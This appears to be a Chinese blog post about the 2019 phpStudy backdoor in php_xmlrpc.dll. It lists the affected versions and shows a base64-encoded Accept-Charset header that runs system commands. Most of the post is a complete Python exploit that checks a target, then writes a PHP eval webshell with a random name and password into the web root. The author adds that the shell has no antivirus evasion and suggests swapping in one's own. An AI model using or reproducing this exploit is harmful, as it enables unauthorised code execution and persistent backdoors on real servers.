POC

2019年9月20日,网上传出 phpStudy 软件存在后门,随后作者立即发布声明进行澄清,其真实情况是该软件官网于2016年被非法入侵,程序包自带PHP的php_xmlrpc.dll模块被植入隐藏后门,可以正向执行任意php代码。

影响版本

  • phpStudy2016-php-5.2.17
  • phpStudy2016-php-5.4.45
  • phpStudy2018-php-5.2.17
  • phpStudy2018-php-5.4.45


后门存在于*\ext\php_xmlrpc.dll,用记事本打开搜索eval,如下图所示则又可能存在后门


抓包,添加Accept-charset,后面对rce进行base64加密

Accept-charset: c3lzdGVtKCJ3aG9hbWkiKTs=

注意修改Accept-Encoding: gzip,deflate,deflate前的空格需要删除


EXP

很自然的就能写出相应exp(github)

import base64
import random
import requests
import string
head={
'Accept-Encoding':'gzip,deflate',
'Accept-Charset':'c3lzdGVtKCJlY2hvIGhhaGExMjMiKTs=' # echo haha123
} def get_standard_url(url):
if url[:7] != "http://" or url[:8] != "https://":
url = "http://"+url
return url
else:
return False def exp():
head["Accept-Charset"] = "c3lzdGVtKCJjaGRpciIpOw==" # system("chdir")
res1 = requests.get(url=url,headers=head,timeout=5,allow_redirects=False)
path = str(res1.text.split("\n",1)[0]).strip() shell_name = ''.join(random.sample(string.ascii_letters+string.digits,8))
key = ''.join(random.sample(string.ascii_letters+string.digits,4)) exp = f"fputs(fopen('{path}\PHPTutorial\WWW\{shell_name}.php','w'),'<?php @eval($_POST[{key}]); ?>');"
exp_encode = str(base64.b64encode(exp.encode('utf-8'))).split("'",2)[1]
head['Accept-Charset'] = exp_encode
requests.get(url=url, headers=head, timeout=5, allow_redirects=False) return f"[!] Shell_name={shell_name}.php, Key={key}" if __name__=="__main__":
url = input("[+] Target: ")
url = get_standard_url(url)
try:
res = requests.get(url=url, headers=head, timeout=5, allow_redirects=False)
if res.status_code == 200 and res.text[:7] == "haha123":
print("[*] POC EXISTS.")
print(exp())
else:
print("[-] POC NOT EXISTS.")
except:
print("[!] ERROR!\n")

注意,这里没有对shell做免杀,可把自己收藏的shell做外部导入替换

最新文章

  1. java集合-ArrayList
  2. Material UI – Material Design CSS 框架
  3. IDA在内存中dump出android的Dex文件
  4. ZOJ 3811 Untrusted Patrol
  5. Xcode UIView 中的Button 控件的属性和基本用法
  6. Gocd持续部署利器
  7. android开发学习---layout布局、显示单位和如何进行单元测试
  8. 重构第15天 移除重复的代码(Remove Duplication)
  9. [工具][windows][visualStudio][充电]番茄助手vaassist常见用法
  10. mysql中模糊查询的四种用法介绍
  11. PHP浮点型
  12. python之os模块
  13. Lua查找字符串注意
  14. 计算机网络协议包头赏析-UDP
  15. Android学习路线(二十四)ActionBar Fragment运用最佳实践
  16. VisualStudio2012轻松把JSON数据转换到POCO的代码
  17. 导航栏转场动画CATransition
  18. [翻译] .NET Core 2.1 Preview 1 发布
  19. Explain
  20. Jmeter-基于Ubuntu运行

热门文章

  1. lldb调试C++总结(3)
  2. 【LeetCode】1029. Two City Scheduling 解题报告(Python)
  3. 【九度OJ】题目1172:哈夫曼树 解题报告
  4. visual studio code的python编程中遇到的SyntaxError:invalid syntax问题的原因和解决办法
  5. &lt;数据结构&gt;XDOJ327.最短路径
  6. AVD Pixel_2_API_30 is already running. lf that is not the case, delete the files at
  7. ProtoBuf3语法指南(Protocol Buffers)_下
  8. cpu负载
  9. DGHV同态库
  10. Go语言系列之标准库flag